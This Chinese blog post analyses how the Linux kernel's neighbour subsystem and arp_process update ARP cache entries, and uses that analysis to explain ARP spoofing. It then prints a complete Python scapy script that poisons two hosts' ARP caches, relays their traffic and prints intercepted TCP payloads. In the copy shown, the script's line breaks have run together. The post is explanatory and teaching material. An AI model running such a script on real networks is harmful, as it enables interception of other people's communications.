从Linux内核角度看中间人攻击(ARP欺骗)并利用Python scapy实现
邻居子系统与ARP协议
邻居子系统的作用就是将IP地址,转换为MAC地址,类似操作系统中的MMU(内存管理单元),将虚拟地址,转换为物理地址。
其中邻居子系统相当于地址解析协议(IPv4的ARP协议,IPv6的ND(Neighbor discover)协议)的一个通用抽象,可以在其上实现ARP等各种地址解析协议
邻居子系统的数据结构
struct neighbour{
....................
}
neighbour结构存储的是IP地址与MAC地址的对应关系,当前状态
struct neighbour_table{
....................
}
每一个地址解析协议对应一个neighbour_table,我们可以查看ARP的初始函数arp_init,其会创建arp_tbl
neighbour_table 包含 neighbour
邻居子系统的状态转换
其状态信息是存放在neighbour结构的nud_state字段的
可以分析neigh_update与neigh_timer_handler函数,来理解他们之间的转换关系。
NUD_NONE:
表示刚刚调用neigh_alloc创建neighbour
NUD_IMCOMPLETE
发送一个请求,但是还未收到响应。如果经过一段时间后,还是没有收到响应,则查看发送请求数是否超过上限,如果超过则转到NUD_FAILED,否则继续发送请求。如果接受到响应则转到NUD_REACHABLE
NUD_REACHABLE:
表示目标可达。如果经过一段时间,未有到达目标的数据包,则转为NUD_STALE状态
NUD_STALE
在此状态,如果有用户准备发送数据,则切换到NUD_DELAY状态
NUD_DELAY
该状态会启动一个定时器,然后接受可到达确认,如果定时器过期之前,收到可到达确认,则将状态切换到NUD_REACHABLE,否则转换到NUD_PROBE状态。
NUD_PROBE
类似NUD_IMCOMPLETE状态
NUD_FAILED
不可达状态,准备删除该neighbour
各种状态之间的切换,也可以通过scapy构造数据包发送并通过Linux 下的 ip neigh show 命令查看
ARP接收处理函数分析
ARP的接收处理函数为arp_process(位于net/ipv4/arp.c)中
我们分情况讨论arp_process的处理函数并结合scapy发包来分析处理过程
当为ARP请求数据包,且能找到到目的地址的路由
如果不是发送到本机的ARP请求数据包,则看是否需要进行代理ARP处理
如果是发送到本机的ARP请求数据包,则分neighbour的状态进行讨论,但是通过分析发现,不论当前neighbour是处于何种状态(NUD_FAILD、NUD_NONE除外),则都会将状态切换成 NUD_STALE状态,且mac地址不相同时,则会切换到本次发送方的mac地址
当为ARP请求数据包,不能找到到目的地址的路由
不做任何处理
当为ARP响应数据包
如果没有对应的neighbour,则不做任何处理。如果该neighbour存在,则将状态切换为NUD_REACHABLE,MAC地址更换为本次发送方的地址
中间人攻击原理
通过以上分析,可以向受害主机A发送ARP请求数据包,其中请求包中将源IP地址,设置成为受害主机B的IP地址,这样,就会将主机A中的B的 MAC缓存,切换为我们的MAC地址。
同理,向B中发送ARP请求包,其中源IP地址为A的地址
然后,我们进行ARP数据包与IP数据包的中转,从而达到中间人攻击。
使用Python scapy包,实现中间人攻击:
环境
python3
ubuntu 14.04
VMware 虚拟专用网络
代码
#!/usr/bin/python3from scapy.all import *
import threading
import timeclient_ip = "192.168.222.186"
client_mac = "00:0c:29:98:cd:05"server_ip = "192.168.222.185"
server_mac = "00:0c:29:26:32:aa"my_ip = "192.168.222.187"
my_mac = "00:0c:29:e5:f1:21"def packet_handle(packet):if packet.haslayer("ARP"):if packet.pdst == client_ip or packet.pdst == server_ip:if packet.op == 1: # requestif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)pkt = Ether(dst=packet.src)/ARP(op=2,pdst=packet.psrc,psrc=packet.pdst) #replysendp(pkt)if packet.op == 2: #replyif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.haslayer("IP"):if packet[IP].dst == client_ip or packet[IP].dst == server_ip:if packet[IP].dst == client_ip:packet[Ether].dst=client_macif packet[IP].dst == server_ip:packet[Ether].dst=server_macpacket[Ether].src = my_macsendp(packet)if packet.haslayer("TCP"):print(packet[TCP].payload)class SniffThread(threading.Thread):def __init__(self):threading.Thread.__init__(self)def run(self):sniff(prn = packet_handle,count=0)class PoisoningThread(threading.Thread):__src_ip = ""__dst_ip = ""__mac = ""def __init__(self,dst_ip,src_ip,mac):threading.Thread.__init__(self)self.__src_ip = src_ipself.__dst_ip = dst_ipself.__mac = macdef run(self):pkt = Ether(dst=self.__mac)/ARP(pdst=self.__dst_ip,psrc=self.__src_ip)srp1(pkt)print("poisoning thread exit")if __name__ == "__main__":my_sniff = SniffThread()client = PoisoningThread(client_ip,server_ip,client_mac)server = PoisoningThread(server_ip,client_ip,server_mac)client.start()server.start()my_sniff.start()client.join()server.join()my_sniff.join()
client_ip 为发送数据的IP
server_ip 为接收数据的IP
参考质料
Linux邻居协议 学习笔记 之五 通用邻居项的状态机机制
https://blog.csdn.net/lickylin/article/details/22228047
转载于:https://www.cnblogs.com/r1ng0/p/9861525.html
从Linux内核角度看中间人攻击(ARP欺骗)并利用Python scapy实现相关推荐
- 中间人攻击——ARP欺骗的原理、实战及防御(转载)
1.1 什么是网关 首先来简单解释一下什么是网关,网关工作在OSI七层模型中的传输层或者应用层,用于高层协议的不同网络之间的连接,简单地说,网关就好比是一个房间通向另一个房间的一扇门. 1.2 ARP ...
- 网络安全 中间人攻击-ARP欺骗 工具:Cain
两台虚拟机:A和B,A中有工具Cain A是攻击机, B是靶机 首先,在B中使用cmd查看IP地址,注意网关 再查看B的ARP表 都查看完之后,回带有工具的虚拟机A中,打开Cain 下面开始在Cain ...
- 1.聊聊Netty那些事儿之从内核角度看IO模型
从今天开始我们来聊聊Netty的那些事儿,我们都知道Netty是一个高性能异步事件驱动的网络框架. 它的设计异常优雅简洁,扩展性高,稳定性强.拥有非常详细完整的用户文档. 同时内置了很多非常有用的模块 ...
- 聊聊Netty那些事儿之从内核角度看IO模型
从今天开始我们来聊聊Netty的那些事儿,我们都知道Netty是一个高性能异步事件驱动的网络框架. 它的设计异常优雅简洁,扩展性高,稳定性强.拥有非常详细完整的用户文档. 同时内置了很多非常有用的模块 ...
- 看漫画,学Linux内核!看完明白小企鹅们在干啥了吧?
今天,为大家解读一幅来自 TurnOff.us 的漫画 "InSide The Linux Kernel".TurnOff.us 是一个极客漫画网站,作者Daniel Stori ...
- 攻击linux的samba,Samba 中间人攻击漏洞(CVE-2015-5296)
Samba 中间人攻击漏洞(CVE-2015-5296) 发布日期:2015-12-19 更新日期:2016-01-01 受影响系统: Samba Samba 4.x-4.1.22 Samba Sam ...
- 指定init启动Linux内核,初看linux内核启动过程
本周的博客依旧依托于一个实验来展开,即跟踪调试linux内核启动的过程,着重分析一下从start_kernel函数开始到init进程开始执行的过程.如有理解不到位地方,望批评指正. 实验环境依旧采用实 ...
- linux内核协议栈 邻居协议之 arp 数据包收发处理流程
目录 前言 1 arp数据包文接收 arp_rcv() 1.1 处理arp请求 arp_process()[核心] 2 arp数据包发送 arp_send() 2.1 arp 数据包构造 arp_cr ...
- 局域网内的攻击—Arp欺骗
0x00:ARP协议 在局域网中,网络中实际传输的是"帧",帧里面是有目标主机的MAC地址的.在以太网中,一个主机要和另一个主机进行直接通信,必须要知道目标主机的MAC地址.MAC ...
最新文章
- 计算机osi模型的功能osi,OSI基本参考模型是什么 OSI基本参考模型各层功能介绍【图文】...
- 2016计算机有哪些专业知识点,2016计算机专业知识:精选知识点练习(99)
- redis 基本类型和命令(一)
- [jzoj NOIP2018模拟 11.01]
- Spring 连接 PostgreSQL
- Kafka源码解析 - 副本迁移任务提交流程
- 鸿蒙系统首批更新名单,鸿蒙系统首批升级名单是哪些-鸿蒙系统首批升级名单详细介绍 - 系统家园...
- RabbitMQ学习笔记:安装环境
- 替换Mac的home brew源
- 远程控制电脑的实现方法
- 噇字符集linux,gbk编码
- mysql字段描述_详细的MySQL字段类型描述
- 微信小程序绘制图表(折线图、柱状图)
- 大学生心理健康调研报告
- SQL server 还原数据库遇到正在使用的解决方法:
- android 多媒体播放 MediaSession 框架
- 没有密码,如何取消Word文档的只读模式?
- android设置wifi蓝牙共享文件,无需互联网或蓝牙即可通过WiFi通过android共享文件...
- SIM卡被猫吃了,1860电话录音
- PHP毕业设计项目作品源码选题(2)电子商务网上购物商城毕业设计毕设作品开题报告